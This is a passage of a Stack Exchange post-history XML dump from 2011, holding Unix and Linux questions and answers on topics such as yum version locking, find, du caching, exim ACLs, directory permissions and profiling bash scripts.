see:&#xD;&#xA;&#xD;&#xA;    /d/hg/employee-profile &gt; hgfoo&#xD;&#xA;    /d/hg/employee-profile&#xD;&#xA;    L1&#xD;&#xA;    Before: ANOT SET YETZ ANOT SET YETZ&#xD;&#xA;    L2&#xD;&#xA;    localChanges: AL2&#xD;&#xA;    localChanges: ANOT SET YETZ&#xD;&#xA;    L3&#xD;&#xA;    L3&#xD;&#xA;    L5&#xD;&#xA;    RESULTS: AYESZ&#xD;&#xA;    L6Z&#xD;&#xA;    L3&#xD;&#xA;    L3&#xD;&#xA;    L5&#xD;&#xA;    RESULTS: AYESZ&#xD;&#xA;    L6&#xD;&#xA;&#xD;&#xA;Even forgetting about the fact that the comparison is not working right, in both cases it seems to be running lines multiple times and in the wrong place.  This is driving me crazy.&#xD;&#xA;&#xD;&#xA;Any clues?  Thanks.&#xD;&#xA;" />
  <row Id="19989" PostHistoryTypeId="1" PostId="8481" RevisionGUID="d623f3a8-4b74-4660-a17c-8f3de24af564" CreationDate="2011-03-02T16:32:56.420" UserId="5259" Text="Alias in cygwin bash doesn't seem to run in the right order." />
  <row Id="19990" PostHistoryTypeId="3" PostId="8481" RevisionGUID="d623f3a8-4b74-4660-a17c-8f3de24af564" CreationDate="2011-03-02T16:32:56.420" UserId="5259" Text="ébashàécygwinà" />
  <row Id="19991" PostHistoryTypeId="2" PostId="8482" RevisionGUID="a1593d0c-d332-45bc-a1de-b83b323f390b" CreationDate="2011-03-02T16:33:14.843" UserId="2511" Text="Yum has a plugin architecture, and there are several plugins which implement some of what you're looking for. The rules aren't exactly the same, but you may be able to get a behavior which matches your needs.&#xD;&#xA;&#xD;&#xA;* **yum-plugin-protectbase**: This plugin allows certain repositories to be protected. Packages in the protected repositories can't be overridden by packages in non-protected repositories even if the non-protected repo has a later version.&#xD;&#xA;* **yum-plugin-versionlock**: This plugin takes a set of name/versions for packages and excludes all other versions of those packages (including optionally following obsoletes). This allows you to protect packages from&#xD;&#xA;being updated by newer versions, for example.&#xD;&#xA;&#xD;&#xA;And, not strictly related but maybe useful:&#xD;&#xA;&#xD;&#xA;* **yum-plugin-protect-packages**: this plugin prevents Yum from removing itself and other protected packages. By default, yum is the only package protected, but by extension this automatically protects everything on which yum depends (rpm, python, glibc, and so on). Therefore, the plugin functions well even without compiling careful lists of all important packages. (This latest is built-in to recent yum.)&#xD;&#xA;&#xD;&#xA;There's some documentation of the versionlock plugin [in the yum faq][1].&#xD;&#xA;&#xD;&#xA;All of these are in individual sub-packages, so you can just `yum install yum-plugin-versionlock`, and then check the configuration, usually under `/etc/yum/pluginconf.d/`. (There's also decent man pages for `yum-versionlock` and for `yum-versionlock.conf`.)&#xD;&#xA;&#xD;&#xA;  [1]: http://yum.baseurl.org/wiki/Faq" />
  <row Id="19992" PostHistoryTypeId="6" PostId="8478" RevisionGUID="8206e884-119e-4464-a0be-397954a5705b" CreationDate="2011-03-02T16:35:15.297" UserId="2511" Comment="edited tags" Text="élinuxàéfedoraàéyumà" />
  <row Id="19993" PostHistoryTypeId="2" PostId="8483" RevisionGUID="dcd3059c-95c9-4a6b-95ac-182571ce4b90" CreationDate="2011-03-02T16:41:03.823" UserId="5116" Text="IIUYC, you can simply first remove all unwanted files using&#xD;&#xA;&#xD;&#xA;    find . ! -type f -name '*.foo' -delete&#xD;&#xA;&#xD;&#xA;which may empty some directories. Then you can remove the empty directories (and directories containing only empty directories, etc.) like in [my question][q]&#xD;&#xA;&#xD;&#xA;    find . -depth -mindepth 1 -empty -type d -exec rmdir -p -- {} +&#xD;&#xA;&#xD;&#xA;[q]: http://unix.stackexchange.com/questions/8430/how-to-remove-all-empty-directories-in-a-subtree/8433#8433" />
  <row Id="19994" PostHistoryTypeId="25" PostId="8469" RevisionGUID="69b704a8-f08c-40da-b678-a28ebc7c4c98" CreationDate="2011-03-02T17:23:33.420" Comment="http://twitter.com/#!/StackUnix/status/42998488761499648" />
  <row Id="19998" PostHistoryTypeId="2" PostId="8485" RevisionGUID="e2cad8d7-616d-43df-be4d-15e303d707d5" CreationDate="2011-03-02T17:35:48.357" UserId="4292" Text="We have a large file system on which a full `du` (disk usage) summary takes over two minutes. I'd like to find a way to speed up a disk usage summary for arbitrary directories on that file system.&#xD;&#xA;&#xD;&#xA;For small branches I've noticed that `du` results seem to be cached somehow, as repeat requests are much faster, but on large branches the speed up become negligible.&#xD;&#xA;&#xD;&#xA;Is there a simple way of speeding up `du`, or more aggressively caching results for branches that haven't been modified since the previous search?&#xD;&#xA;&#xD;&#xA;Or is there an alternative command that can deliver disk usage summaries faster?" />
  <row Id="19999" PostHistoryTypeId="1" PostId="8485" RevisionGUID="e2cad8d7-616d-43df-be4d-15e303d707d5" CreationDate="2011-03-02T17:35:48.357" UserId="4292" Text="How to cache or otherwise speed up `du` summaries?" />
  <row Id="20000" PostHistoryTypeId="3" PostId="8485" RevisionGUID="e2cad8d7-616d-43df-be4d-15e303d707d5" CreationDate="2011-03-02T17:35:48.357" UserId="4292" Text="éfilesystemsàécacheàédisköusageà" />
  <row Id="20002" PostHistoryTypeId="2" PostId="8487" RevisionGUID="c1591590-eab3-45b6-8099-dd1596f397c4" CreationDate="2011-03-02T17:54:39.743" UserId="732" Text="Use a &quot;mail&quot; command that has an option to show you the SMTP dialog. The &quot;heirloom&quot; project has a good version of such a command: http://heirloom.sourceforge.net/mailx.html&#xD;&#xA;&#xD;&#xA;Here's an example &quot;mailx&quot; (apparently a 4-year-old v12.1) command invocation, showing the SMTP dialog:&#xD;&#xA;&#xD;&#xA;    10:50AM 2 % mailx -v -s &quot;test email&quot; bediger&#xD;&#xA;    test letter text&#xD;&#xA;    .&#xD;&#xA;    EOT&#xD;&#xA;    bediger... Connecting to [127.0.0.1] via relay...&#xD;&#xA;    220 mydomain.com ESMTP Sendmail 8.13.8/8.13.3; Wed, 2 Mar 2011 10:50:37 -0700&#xD;&#xA;    &gt;&gt;&gt; EHLO myhost.intranet&#xD;&#xA;    250-mydomain.com Hello localhost [127.0.0.1], pleased to meet you&#xD;&#xA;    250-ENHANCEDSTATUSCODES&#xD;&#xA;    250-PIPELINING&#xD;&#xA;    250-8BITMIME&#xD;&#xA;    250-SIZE&#xD;&#xA;    250-DSN&#xD;&#xA;    250-ETRN&#xD;&#xA;    250-AUTH DIGEST-MD5 CRAM-MD5&#xD;&#xA;    250-DELIVERBY&#xD;&#xA;    250 HELP&#xD;&#xA;    &gt;&gt;&gt; MAIL From:&lt;bediger@myhost.intranet&gt; SIZE=222 AUTH=bediger@myhost.intranet&#xD;&#xA;    250 2.1.0 &lt;bediger@myhost.intranet&gt;... Sender ok&#xD;&#xA;    &gt;&gt;&gt; RCPT To:&lt;bediger@myhost.intranet&gt;&#xD;&#xA;    &gt;&gt;&gt; DATA&#xD;&#xA;    250 2.1.5 &lt;bediger@myhost.intranet&gt;... Recipient ok&#xD;&#xA;    354 Enter mail, end with &quot;.&quot; on a line by itself&#xD;&#xA;    &gt;&gt;&gt; .&#xD;&#xA;    250 2.0.0 p22HobSb015513 Message accepted for delivery&#xD;&#xA;    bediger... Sent (p22HobSb015513 Message accepted for delivery)&#xD;&#xA;    Closing connection to [127.0.0.1]&#xD;&#xA;    &gt;&gt;&gt; QUIT&#xD;&#xA;    221 2.0.0 mydomain.com closing connection&#xD;&#xA;    10:50AM 3 %&#xD;&#xA;&#xD;&#xA;That sort of information can be invaluable in figuring out what goes wrong with email delivery." />
  <row Id="20009" PostHistoryTypeId="2" PostId="8488" RevisionGUID="e2d0c7fc-15b7-4e1c-af49-eb5736f10bd6" CreationDate="2011-03-02T18:08:15.153" UserId="4520" Text="What you are seeing when you rerun a du command is the effect of disk buffering.  Once you read a block its disk buffer is kept in the buffer cache until that block is needed.  For du you need to read the directory and the inode for each file in the directory.  The du results are not cached in this case, but can be derived with far less disk IO.&#xD;&#xA;&#xD;&#xA;While it would be possible to force the system to cache this information, overall performance would suffer as the required buffer space would not be available for actively accessed files.&#xD;&#xA;&#xD;&#xA;The directory itself has no idea how large a file is, so each file needs to be accessed.  To keep the cached value up to date every time a file changed size the cached value would need to be updated.  As a file can be listed in 0 or more directories this would require each file's inode to know which directories it is listed in. This would greatly complicate the inode structure and reduce IO performance.  Also as du allows you to get results assuming different block sizes, the data required in the cache would need to increment or decrement the cached value for each possible block size further slowing performance. " />
  <row Id="20010" PostHistoryTypeId="2" PostId="8489" RevisionGUID="c1f6416d-1d89-459d-8368-b4f7c3f0e5b5" CreationDate="2011-03-02T18:35:40.777" UserId="5262" Text="I'm trying to backup a MSSQL server from linux.  I'm able to connect to the server using tsql (from the freetds project), and I'm even able to backup the database on the server using the backup database command, but I haven't been able to download this backup onto the machine I'm using to connect to the MSSQL server.  If this was a mySQL server, I could download a backup of the database using mysqldump.  Is there something similar I can do for an MSSQL server in linux?" />
  <row Id="20011" PostHistoryTypeId="1" PostId="8489" RevisionGUID="c1f6416d-1d89-459d-8368-b4f7c3f0e5b5" CreationDate="2011-03-02T18:35:40.777" UserId="5262" Text="backup MSSQL server using a mysqldump-like tool" />
  <row Id="20012" PostHistoryTypeId="3" PostId="8489" RevisionGUID="c1f6416d-1d89-459d-8368-b4f7c3f0e5b5" CreationDate="2011-03-02T18:35:40.777" UserId="5262" Text="ésqlserverà" />
  <row Id="20013" PostHistoryTypeId="2" PostId="8490" RevisionGUID="d747ae47-14f0-44a8-8081-662481e8708e" CreationDate="2011-03-02T18:41:14.767" UserId="3170" Text="This seems very strange to me. I'm running kernel 2.6.37.2 and ran:&#xD;&#xA;&#xD;&#xA;    ~]$ cp -r /proc/ here&#xD;&#xA;    ~]$ rm -rf here&#xD;&#xA;&#xD;&#xA;I get some permission denies when copying as expected and I eventually hit Control-C. I get Permission denied on a lot of files when trying to remove the new directory and files.&#xD;&#xA;&#xD;&#xA;As a note, I found this weird behavior because a friend sent me a .tgz of a snapshot of his /proc dir. I extracted the directory and when I was finished looking through it I had the same problem.&#xD;&#xA;&#xD;&#xA;rm -rf as root does work&#xD;&#xA;&#xD;&#xA;lsattr shows the e attribute (which is what all of my files/directories show)" />
  <row Id="20014" PostHistoryTypeId="1" PostId="8490" RevisionGUID="d747ae47-14f0-44a8-8081-662481e8708e" CreationDate="2011-03-02T18:41:14.767" UserId="3170" Text="I can't remove a recursive copy of /proc as normal user" />
  <row Id="20015" PostHistoryTypeId="3" PostId="8490" RevisionGUID="d747ae47-14f0-44a8-8081-662481e8708e" CreationDate="2011-03-02T18:41:14.767" UserId="3170" Text="ékernelàépermissionsàéprocà" />
  <row Id="20016" PostHistoryTypeId="12" PostId="8490" RevisionGUID="ed717470-60a3-451b-8f03-b9298576e8f4" CreationDate="2011-03-02T19:01:06.050" UserId="3170" Text="[{&quot;Id&quot;:3170,&quot;DisplayName&quot;:&quot;kisplit&quot;}]" />
  <row Id="20017" PostHistoryTypeId="5" PostId="8490" RevisionGUID="962e5b3b-5d58-49c4-bb45-745ec310fc2a" CreationDate="2011-03-02T19:02:08.813" UserId="3170" Comment="added 102 characters in body" Text="This seems very strange to me. I'm running kernel 2.6.37.2 and ran:&#xD;&#xA;&#xD;&#xA;    ~]$ cp -r /proc/ here&#xD;&#xA;    ~]$ rm -rf here&#xD;&#xA;&#xD;&#xA;I get some permission denies when copying as expected and I eventually hit Control-C. I get Permission denied on a lot of files when trying to remove the new directory and files.&#xD;&#xA;&#xD;&#xA;As a note, I found this weird behavior because a friend sent me a .tgz of a snapshot of his /proc dir. I extracted the directory and when I was finished looking through it I had the same problem.&#xD;&#xA;&#xD;&#xA;rm -rf as root does work&#xD;&#xA;&#xD;&#xA;lsattr shows the e attribute (which is what all of my files/directories show)&#xD;&#xA;&#xD;&#xA;EDIT: Oh wow, I can't believe I didn't notice. The directories had no write permission on them o.o" />
  <row Id="20018" PostHistoryTypeId="8" PostId="8058" RevisionGUID="e25a7c41-35c2-43f0-8468-b4c81e529b28" CreationDate="2011-03-02T19:06:39.680" UserId="5096" Comment="Rollback to [136beba6-7e86-452e-a246-84b9189c2b5f]" Text="I've implemented and tested the following configuration, which works fine on sles10, my workhorse at the moment.&#xD;&#xA;&#xD;&#xA;In&#xD;&#xA;&#xD;&#xA;    /etc/init.d/boot.local&#xD;&#xA;&#xD;&#xA;add&#xD;&#xA;&#xD;&#xA;    setterm -blank&#xD;&#xA;&#xD;&#xA;it looks like that is all it takes. Thanks for Uku Loskit and Gilles for the push in the right direction." />
  <row Id="20019" PostHistoryTypeId="2" PostId="8491" RevisionGUID="92792ab1-5231-48dc-afce-66f7b2954564" CreationDate="2011-03-02T19:10:04.937" UserId="2769" Text="I've got local_acl_check_data to reject the typical spammer tactic of using the same address as From: and To:, but since some less-spammy sources, such as Yahoo Groups, do this, I'm using a whitelist as well. Here is the ACL:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;# block spammers who use the same &quot;from&quot; and &quot;to&quot; address&#xD;&#xA;accept&#xD;&#xA;    senders = ${if exists{CONFDIR/local_sender_whitelist}\&#xD;&#xA;                   {CONFDIR/local_sender_whitelist}\&#xD;&#xA;                   {}}&#xD;&#xA;deny&#xD;&#xA;    condition = ${if eqi{${address:$h_from:}}{${address:$h_to:}}{true}{false}}&#xD;&#xA;    log_message = rejecting spam with to:${address:$h_to:} and from:${address:$h_from:}&#xD;&#xA;    message = Message identified as spam. If you think this is wrong, get in touch with postmaster&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Problem is, when I test with:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;jcomeau@tektonic:~$ cat bin/testacl &#xD;&#xA;exim4 -bh 66.163.168.186 &amp;lt;&amp;lt;EOT&#xD;&#xA;helo tester&#xD;&#xA;mail from: PetalumaFreecycle@yahoogroups.com&#xD;&#xA;rcpt to: jc@example.com&#xD;&#xA;data&#xD;&#xA;from: PetalumaFreecycle@yahoogroups.com&#xD;&#xA;to: PetalumaFreecycle@yahoogroups.com&#xD;&#xA;subject: should be ok&#xD;&#xA;&#xD;&#xA;this one should not reject&#xD;&#xA;.&#xD;&#xA;mail from: PetalumaFreecycle@yahoo.com&#xD;&#xA;rcpt to: jc@example.com&#xD;&#xA;data&#xD;&#xA;from: PetalumaFreecycle@yahoo.com&#xD;&#xA;to: PetalumaFreecycle@yahoo.com&#xD;&#xA;subject: should reject&#xD;&#xA;&#xD;&#xA;this one should be rejected&#xD;&#xA;.&#xD;&#xA;quit&#xD;&#xA;EOT&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;It works as expected: the first message is accepted because it found yahoogroups.com in the whitelist, and the second was rejected. But in real operation, the yahoogroups.com emails are rejected by that ACL along with the spammers. I'm using 4.72-6, and this has happened for all the versions I've been using for the last few years. I've run out of ideas." />
  <row Id="20020" PostHistoryTypeId="1" PostId="8491" RevisionGUID="92792ab1-5231-48dc-afce-66f7b2954564" CreationDate="2011-03-02T19:10:04.937" UserId="2769" Text="exim4 on debian: why does this ACL work when testing with -bh but not in actual use?" />
  <row Id="20021" PostHistoryTypeId="3" PostId="8491" RevisionGUID="92792ab1-5231-48dc-afce-66f7b2954564" CreationDate="2011-03-02T19:10:04.937" UserId="2769" Text="élinuxàédebianàéaclà" />
  <row Id="20022" PostHistoryTypeId="13" PostId="8490" RevisionGUID="704bda6d-a605-437e-b8af-eec7a5fd4826" CreationDate="2011-03-02T19:11:37.697" UserId="-1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="20023" PostHistoryTypeId="2" PostId="8492" RevisionGUID="a95312e6-5d16-4ccd-bf71-2b508d07cef1" CreationDate="2011-03-02T19:16:25.163" UserId="885" Text="&#xD;&#xA;If there is a non-empty directory where you don't have write permission, you can't remove its contents.&#xD;&#xA;&#xD;&#xA;    $ mkdir foo&#xD;&#xA;    $ touch foo/bar&#xD;&#xA;    $ chmod a-w foo&#xD;&#xA;    $ rm -rf foo&#xD;&#xA;    rm: cannot remove `foo/bar': Permission denied&#xD;&#xA;&#xD;&#xA;The reason is that `rm` is bound by permissions like any other command, and permission to remove `bar` requires write permission on `foo`. This doesn't apply when you run `rm` as root because root always has the permission to remove a file.&#xD;&#xA;&#xD;&#xA;To make the directory tree deletable, make all the directories in it writable (the permissions of regular files don't matter when it comes to deletion with `rm -f`). You can use either of these commands:&#xD;&#xA;&#xD;&#xA;    chmod -R u+w here        # slow if you have a lot of regular files&#xD;&#xA;    find here -type d -exec chmod u+w {} +&#xD;&#xA;" />
  <row Id="20024" PostHistoryTypeId="6" PostId="8490" RevisionGUID="30cf55b1-b94a-432f-8965-c4e1f94c026f" CreationDate="2011-03-02T19:16:47.147" UserId="885" Comment="edited tags" Text="épermissionsàérmà" />
  <row Id="20025" PostHistoryTypeId="6" PostId="8491" RevisionGUID="765ab2f6-4a14-4e4e-b87d-4a39e86905a2" CreationDate="2011-03-02T19:18:41.917" UserId="885" Comment="edited tags" Text="éaclàéeximà" />
  <row Id="20027" PostHistoryTypeId="6" PostId="8489" RevisionGUID="21aaa362-1307-4010-b3e7-fc1f7e36551d" CreationDate="2011-03-02T19:23:52.083" UserId="885" Comment="edited tags" Text="ébackupàésqlserverà" />
  <row Id="20028" PostHistoryTypeId="2" PostId="8494" RevisionGUID="66e26c60-9fb7-4486-a43d-1ac54eeacd5e" CreationDate="2011-03-02T19:31:13.263" UserId="885" Text="If you can arrange for the different hierarchies of files to belong to different groups, you can set up [disk quotas](http://en.wikipedia.org/wiki/Disk_quota). Don't give an upper limit (or make it the size of the disk) unless you want one. You'll still be able to tell instantly how much of its (effectively infinite) quota the group is using.&#xD;&#xA;&#xD;&#xA;This does require that your filesystem supports per-group quotas. Linux's Ext[234] and Solaris/*BSD/Linux's zfs do. It would be nice for your use case if group quotas took ACLs into account, but I don't think they do.&#xD;&#xA;" />
  <row Id="20029" PostHistoryTypeId="2" PostId="8495" RevisionGUID="dc4f3967-7f6a-49f1-8b25-2837181db50a" CreationDate="2011-03-02T19:53:30.547" UserId="3519" Text="xenoterracide's answer is 100% correct, I'll just add to it.&#xD;&#xA;&#xD;&#xA;I often monitor the copy or move process of large amounts of files with:&#xD;&#xA;&#xD;&#xA;    watch -d -n 1 'du -sk dir1; du -sk dir2'&#xD;&#xA;&#xD;&#xA;This will show you how the cumulated file size changes over time, proving to you that files are moved and removed (with mv) progressively along the way." />
  <row Id="20030" PostHistoryTypeId="6" PostId="8476" RevisionGUID="1159c2ce-4f65-40eb-90f2-171ad6b5e306" CreationDate="2011-03-02T20:18:53.753" UserId="885" Comment="edited tags" Text="érenameà" />
  <row Id="20031" PostHistoryTypeId="25" PostId="8490" RevisionGUID="1f7f882b-08f6-4222-bd06-25c1bbc2558d" CreationDate="2011-03-02T20:23:33.733" Comment="http://twitter.com/#!/StackUnix/status/43043788955992064" />
  <row Id="20032" PostHistoryTypeId="6" PostId="8469" RevisionGUID="f0543f13-3ee1-4ad4-9294-ff7b50145b15" CreationDate="2011-03-02T20:31:03.370" UserId="885" Comment="edited tags" Text="ébashàéterminalàéprocessàékillàéjoböcontrolà" />
  <row Id="20033" PostHistoryTypeId="2" PostId="8496" RevisionGUID="74ef2211-9a3d-4907-af04-db6235acd832" CreationDate="2011-03-02T20:58:53.803" UserId="2511" Text="If you want to keep interacting with the child process rather than just backgrounding it and having it keep going, there's actually a program called [retty][1] which is a proof-of-concept for &quot;stealing&quot; a process from its current tty and reattaching it to the current one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It, however, does some horrible things, including sticking some assembly code on to the stack of the re-attached application. And that code hasn't been updated for x86_64.&#xD;&#xA;&#xD;&#xA;There's another program which takes a maybe-better approach, freezing the process in user-space to a file, from which it can later be restored (possibly on another tty.) This is [cryopid][2], and that project too seems to have stopped in the proof-of-concept phase, and doesn't work with modern Linux as the code stands. Ah well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Just thought this should be here for completeness. If you don't mind resorting to horrible voodoo, this is within the realm of possibility -- at least, theoretical possibility.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pasky.or.cz/~pasky/dev/retty/&#xD;&#xA;  [2]: http://cryopid.berlios.de/" />
  <row Id="20034" PostHistoryTypeId="2" PostId="8497" RevisionGUID="ecda78e1-368d-4820-ad21-be0fe8f87d07" CreationDate="2011-03-02T21:20:46.803" UserId="4" Text="I'm running a CentOS 5.5 system. This system has 4 disks and a 3ware RAID controller. How can I determine the make and model of my drives?&#xD;&#xA;&#xD;&#xA;`/proc/scsi/scsi` and `parted --list` shows the RAID controller (3ware 9650SE-4LP):&#xD;&#xA;&#xD;&#xA;    # cat /proc/scsi/scsi &#xD;&#xA;    Attached devices:&#xD;&#xA;    Host: scsi0 Channel: 00 Id: 00 Lun: 00&#xD;&#xA;      Vendor: AMCC     Model: 9650SE-4LP DISK  Rev: 4.06&#xD;&#xA;      Type:   Direct-Access                    ANSI SCSI revision: 05&#xD;&#xA;&#xD;&#xA;    # parted --list&#xD;&#xA;    &#xD;&#xA;    Model: AMCC 9650SE-4LP DISK (scsi)&#xD;&#xA;    Disk /dev/sda: 2000GB&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20035" PostHistoryTypeId="1" PostId="8497" RevisionGUID="ecda78e1-368d-4820-ad21-be0fe8f87d07" CreationDate="2011-03-02T21:20:46.803" UserId="4" Text="How do I determine the make &amp; model of my storage devices?" />
  <row Id="20036" PostHistoryTypeId="3" PostId="8497" RevisionGUID="ecda78e1-368d-4820-ad21-be0fe8f87d07" CreationDate="2011-03-02T21:20:46.803" UserId="4" Text="éhardwareàéstorageà" />
  <row Id="20037" PostHistoryTypeId="2" PostId="8498" RevisionGUID="1c1c4b15-02a0-4478-8b2b-2196a23613d6" CreationDate="2011-03-02T21:21:23.887" UserId="5267" Text="It sounds like you want:&#xD;&#xA;&#xD;&#xA;    tail -c +1048576&#xD;&#xA;&#xD;&#xA;or whatever number of bytes you want to skip. The plus sign tells tail to measure from the start of the file instead of the end. If you're using the GNU version of tail you can write that as:&#xD;&#xA;&#xD;&#xA;    tail -c +1M&#xD;&#xA;&#xD;&#xA;To get a fixed number of bytes after the cut, instead of all the rest of the file, just pipe it through head:&#xD;&#xA;&#xD;&#xA;    tail -c +1048576 | head -c 1024&#xD;&#xA;" />
  <row Id="20038" PostHistoryTypeId="2" PostId="8499" RevisionGUID="53e76f4a-5500-48d9-b8a0-08e5b60f8573" CreationDate="2011-03-02T21:30:57.543" UserId="3169" Text="We know it's slow from running:&#xD;&#xA;&#xD;&#xA;    $ time ./junk.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    ./junk.sh  2.27s user 3.31s system 21% cpu 25.798 total&#xD;&#xA;&#xD;&#xA;(and that's a version that only prints 4 hours, not 2 years.)&#xD;&#xA;&#xD;&#xA;To get a better understanding of where `bash` is spending its time, we can use `strace -c`.&#xD;&#xA;&#xD;&#xA;    $ strace -c ./junk.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    % time     seconds  usecs/call     calls    errors syscall&#xD;&#xA;    ------ ----------- ----------- --------- --------- ----------------&#xD;&#xA;     79.01    0.128906           4     28806     14403 waitpid&#xD;&#xA;     17.92    0.029241           2     14403           clone&#xD;&#xA;      2.45    0.003999           0    158448           rt_sigprocmask&#xD;&#xA;      0.33    0.000532           0     28815           rt_sigaction&#xD;&#xA;      0.29    0.000479           0     14403           sigreturn&#xD;&#xA;&#xD;&#xA;So we can see that the top two calls are `waitpid` and `clone`.  They don't take up much time on their own (only 0.128906 seconds and 0.029241 seconds), but we can see they are being called a lot, so we are suspecting the problem is the fact we are having to start a separate `date` command to echo each number.&#xD;&#xA;&#xD;&#xA;So then I did some searching, and found out you can compile `bash` with `gprof` support by doing:&#xD;&#xA;&#xD;&#xA;    $ ./configure --enable-profiling --without-bash-malloc&#xD;&#xA;    $ make&#xD;&#xA;&#xD;&#xA;Now using that:&#xD;&#xA;&#xD;&#xA;    $ ./bash-gprof junk.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    $ gprof ./bash-gprof gmon.out&#xD;&#xA;&#xD;&#xA;    Each sample counts as 0.01 seconds.&#xD;&#xA;      %   cumulative   self              self     total           &#xD;&#xA;     time   seconds   seconds    calls   s/call   s/call  name    &#xD;&#xA;      8.05      0.28     0.28    14403     0.00     0.00  make_child&#xD;&#xA;      6.61      0.51     0.23                             __gconv_transform_utf8_internal&#xD;&#xA;      5.75      0.71     0.20                             fork&#xD;&#xA;      5.75      0.91     0.20   259446     0.00     0.00  hash_search&#xD;&#xA;      5.17      1.09     0.18   129646     0.00     0.00  dispose_words&#xD;&#xA;&#xD;&#xA;So assuming the function names are meaningful, it confirms that the problem is we are making `bash` fork and call an external command repeatedly.&#xD;&#xA;&#xD;&#xA;If we move the `&gt;&gt;` to the end of the `while` loop, it barely makes a dent.&#xD;&#xA;&#xD;&#xA;    $ time ./junk2.sh&#xD;&#xA;    ...&#xD;&#xA;    ./junk2.sh  2.46s user 3.18s system 22% cpu 25.659 total&#xD;&#xA;&#xD;&#xA;But Gilles' answer finds a way to only run `date` once, and not surprisingly, it's **much** faster:&#xD;&#xA;&#xD;&#xA;    $ time ./bash-gprof junk3.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    ./bash-gprof junk3.sh  0.10s user 0.16s system 96% cpu 0.264 total&#xD;&#xA;&#xD;&#xA;    $ strace -c ./bash-gprof junk3.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    % time     seconds  usecs/call     calls    errors syscall&#xD;&#xA;    ------ ----------- ----------- --------- --------- ----------------&#xD;&#xA;     97.63    0.039538        5648         7         3 waitpid&#xD;&#xA;      2.37    0.000961          37        26           writev&#xD;&#xA;      0.00    0.000000           0         9           read&#xD;&#xA;      ...&#xD;&#xA;      0.00    0.000000           0         4           clone&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ gprof ./bash-gprof gmon.out &#xD;&#xA;    Flat profile:&#xD;&#xA;&#xD;&#xA;    Each sample counts as 0.01 seconds.&#xD;&#xA;     no time accumulated&#xD;&#xA;&#xD;&#xA;      %   cumulative   self              self     total           &#xD;&#xA;     time   seconds   seconds    calls  Ts/call  Ts/call  name    &#xD;&#xA;      0.00      0.00     0.00     1162     0.00     0.00  xmalloc&#xD;&#xA;      0.00      0.00     0.00      782     0.00     0.00  mbschr&#xD;&#xA;      0.00      0.00     0.00      373     0.00     0.00  shell_getc&#xD;&#xA;&#xD;&#xA;So 7 `waitpids` and 4 `clones` compared to 28806 and 14403 in the original.&#xD;&#xA;&#xD;&#xA;So the moral is: If you have to call an external command inside a loop that is repeated many times, you either need to find a way to move it out of the loop, or switch to a programming language that doesn't have to call an external command to do the work.&#xD;&#xA;" />
  <row Id="20039" PostHistoryTypeId="5" PostId="8499" RevisionGUID="2e340bb4-f001-414d-b516-26a5b7c60bfe" CreationDate="2011-03-02T21:37:54.687" UserId="3169" Comment="deleted 3 characters in body" Text="We know it's slow from running:&#xD;&#xA;&#xD;&#xA;    $ time ./junk.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    ./junk.sh  2.27s user 3.31s system 21% cpu 25.798 total&#xD;&#xA;&#xD;&#xA;(and that's a version that only prints 4 hours, not 2 years.)&#xD;&#xA;&#xD;&#xA;To get a better understanding of where `bash` is spending its time, we can use `strace -c`.&#xD;&#xA;&#xD;&#xA;    $ strace -c ./junk.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    % time     seconds  usecs/call     calls    errors syscall&#xD;&#xA;    ------ ----------- ----------- --------- --------- ----------------&#xD;&#xA;     79.01    0.128906           4     28806     14403 waitpid&#xD;&#xA;     17.92    0.029241           2     14403           clone&#xD;&#xA;      2.45    0.003999           0    158448           rt_sigprocmask&#xD;&#xA;      0.33    0.000532           0     28815           rt_sigaction&#xD;&#xA;      0.29    0.000479           0     14403           sigreturn&#xD;&#xA;&#xD;&#xA;So we can see that the top two calls are `waitpid` and `clone`.  They don't take up much time on their own (only 0.128906 seconds and 0.029241 seconds), but we can see they are being called a lot, so we are suspecting the problem is the fact we are having to start a separate `date` command to echo each number.&#xD;&#xA;&#xD;&#xA;So then I did some searching, and found out you can compile `bash` with `gprof` support by doing:&#xD;&#xA;&#xD;&#xA;    $ ./configure --enable-profiling --without-bash-malloc&#xD;&#xA;    $ make&#xD;&#xA;&#xD;&#xA;Now using that:&#xD;&#xA;&#xD;&#xA;    $ ./bash-gprof junk.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    $ gprof ./bash-gprof gmon.out&#xD;&#xA;&#xD;&#xA;    Each sample counts as 0.01 seconds.&#xD;&#xA;      %   cumulative   self              self     total           &#xD;&#xA;     time   seconds   seconds    calls   s/call   s/call  name    &#xD;&#xA;      8.05      0.28     0.28    14403     0.00     0.00  make_child&#xD;&#xA;      6.61      0.51     0.23                             __gconv_transform_utf8_internal&#xD;&#xA;      5.75      0.71     0.20                             fork&#xD;&#xA;      5.75      0.91     0.20   259446     0.00     0.00  hash_search&#xD;&#xA;      5.17      1.09     0.18   129646     0.00     0.00  dispose_words&#xD;&#xA;&#xD;&#xA;So assuming the function names are meaningful, it confirms that the problem is we are making `bash` fork and call an external command repeatedly.&#xD;&#xA;&#xD;&#xA;If we move the `&gt;&gt;` to the end of the `while` loop, it barely makes a dent.&#xD;&#xA;&#xD;&#xA;    $ time ./junk2.sh&#xD;&#xA;    ...&#xD;&#xA;    ./junk2.sh  2.46s user 3.18s system 22% cpu 25.659 total&#xD;&#xA;&#xD;&#xA;But Gilles' answer finds a way to only run `date` once, and not surprisingly, it's **much** 